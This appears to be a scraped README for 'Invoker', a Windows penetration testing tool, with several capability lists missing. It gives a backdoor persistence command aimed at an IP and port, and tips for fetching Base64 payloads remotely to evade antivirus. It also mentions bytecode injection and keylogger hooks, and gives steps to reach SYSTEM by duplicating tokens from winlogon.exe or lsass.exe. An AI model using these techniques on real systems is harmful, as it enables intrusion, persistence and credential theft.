Penetration testing utility.
No Data
Penetration testing utility.
The goal is to use this tool when access to some Windows OS features through GUI is restricted.
Some features require administrative privileges.
Capabilities:
Built with Dev-C++ IDE v5.11 (64-bit), compiled with TDM-GCC v4.9.2 (32-bit and 64-bit) and tested on Windows 10 Enterprise OS (64-bit). Download Dev-C++ from here.
NEW: Visual Studio Community 2019 v16.7.6 projects added.
Made for educational purposes. I hope it will help!
Future plans:
Check all the capabilities here. Feel free to use the library.
Run \exec\Invoker_x86.exe (32-bit) or \exec\Invoker_x64.exe (64-bit).
To automate the backdoor while setting up a persistence, you can run the following command:
Invoker_x64.exe 192.168.8.5 9000
32-bit Invoker can only:
64-bit Invoker can only:
Elevate privileges by injecting bytecode into a higher-privileged process.
This tool can parse an HTTP response and extract the payload from a custom element, e.g. from
payloadwhere
payloadis a binary code/file encoded in Base64.
Check the example at pastebin.com/raw/xf9Trt0d.
This might be useful if antivirus is constantly deleting your local payloads.
Also, check an additional example at pastebin.com/raw/iW17rCxH.
Bytecode provided will most certainly not work for you.
Pastebin no longer works because it now redirects HTTP to HTTPS.
Use ngrok to give your local web server a public address.
Too see if a process is 32-bit or 64-bit open up Task Manager -> click on
More details-> go to
Detailstab -> right click on any of the columns -> click on
Select columns-> check the
Platformcheckbox.
Additionally, to see if a process is running with administrative privileges check the
Elevatedcheckbox.
Find out how to generate a reverse shell payload from my other project.
Check all the PowerShell scripts used in the main C++ program here.
Find out how to make a DLL with a hook procedure here.
The hook procedure will invoke a message box on each window close.
Also, check out a keyboard hook procedure here.
Make sure to remove all the created artifacts after you are done testing, e.g. remove
keylogger.log.
Run the Invoker as administrator.
Enable all access token privileges.
Duplicate the access token from e.g. Windows Logon Application (winlogon.exe) and run a new instance of Invoker.
Within the new Invoker instance, open the Command Prompt and run
whoami, you should now see
nt authority\system.
Enable all access token privileges once again.
Close the old Invoker instance.
P.S. You get more access token privileges from Local Security Authority Subsystem Service (lsass.exe).
Figure 1 - Invoker
Figure 2 - Add/Edit Registry Key
Figure 3 - Bytecode Injection
Figure 4 - Elevated Privileges